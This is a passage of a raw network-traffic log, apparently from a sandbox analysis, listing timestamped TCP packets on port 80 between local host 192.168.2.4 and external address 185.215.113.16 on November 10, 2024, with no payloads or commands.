Nov 10, 2024 19:44:27.814220905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814230919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814254999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814260960 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814275026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814300060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814318895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814327002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814337015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814352036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814364910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814392090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814400911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814412117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814430952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814440966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814455032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814467907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814472914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814496040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814513922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814574957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814599991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814610958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814632893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.814646006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.814670086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818677902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818687916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818692923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818720102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818730116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818737984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818748951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818758965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818772078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818789959 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818851948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818864107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818876982 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818890095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818902969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818908930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818917036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818922997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818933010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818947077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818960905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818969965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.818978071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.818989992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819019079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819030046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819219112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819226027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819246054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819258928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819263935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819274902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819283009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819289923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819307089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819320917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819330931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819338083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819442034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819488049 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819513083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819535017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819545031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819552898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819566965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819576025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819583893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819595098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819606066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819617033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819627047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.819633007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819653034 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.819667101 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930150032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930180073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930279970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930293083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930315971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930325031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930332899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930355072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930361986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930375099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930385113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930413961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930422068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930433989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930444956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930457115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930475950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930485010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930510998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930519104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930531979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930546999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930557013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930581093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930584908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930598021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930603027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930613995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930622101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930639029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930645943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930653095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930665016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930675030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930684090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930691004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.930700064 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930716991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.930728912 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.967600107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967622995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967632055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967644930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967725039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967734098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967747927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.967756987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967824936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.967830896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967839956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967844963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967849016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967854023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967859030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967884064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967892885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.967904091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967914104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.967921972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967933893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967936993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.967971087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.967978954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.967988014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968008041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968019962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968025923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968039989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968045950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968054056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968059063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968064070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968081951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968095064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968105078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968113899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968122959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968136072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968144894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968158007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968173981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968203068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968221903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968242884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968250990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968260050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968276024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968297005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968348980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968364954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968380928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968400002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968434095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968841076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968892097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968902111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968940020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.968976974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968990088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.968996048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969000101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969006062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969011068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969017029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969105005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969114065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969120026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969177961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969189882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969198942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969218969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969229937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969239950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969245911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969285965 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969305038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969314098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969327927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969350100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969372988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969377041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969388008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969397068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969422102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969429016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969454050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969463110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969480038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969487906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969501019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969508886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969515085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969521046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969526052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969532013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969558001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969582081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969744921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969753981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969772100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:27.969794989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:27.969811916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047223091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047239065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047343969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047369957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047380924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047399044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047424078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047463894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047485113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047496080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047517061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047532082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047535896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047550917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047560930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047574997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047594070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047600031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047611952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047620058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047636032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047645092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047657013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047674894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047683001 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047697067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047710896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047717094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047739983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047758102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.047775984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047785044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.047816992 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084556103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084606886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084618092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084645033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084671021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084676981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084688902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084713936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084721088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084729910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084748030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084762096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084768057 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084780931 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084789991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084799051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084817886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084825039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084839106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084849119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084867954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084875107 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084888935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084898949 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084911108 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084922075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084939003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084953070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084969044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.084979057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.084990978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085009098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085016966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085032940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085042000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085059881 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085068941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085076094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085089922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085112095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085119963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085139036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085148096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085160971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085175037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085180998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085195065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085200071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085218906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085232973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085237026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085247993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085261106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085269928 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085290909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085299015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085306883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085316896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085333109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085338116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085352898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085360050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085371971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085391045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085396051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085412979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085423946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085433006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085447073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085453033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085467100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085474014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085488081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085505962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085853100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085864067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085882902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085892916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085906029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085922003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085927010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085947037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.085954905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.085964918 CET	49762	80	192.168.2.4	185.215.113.16
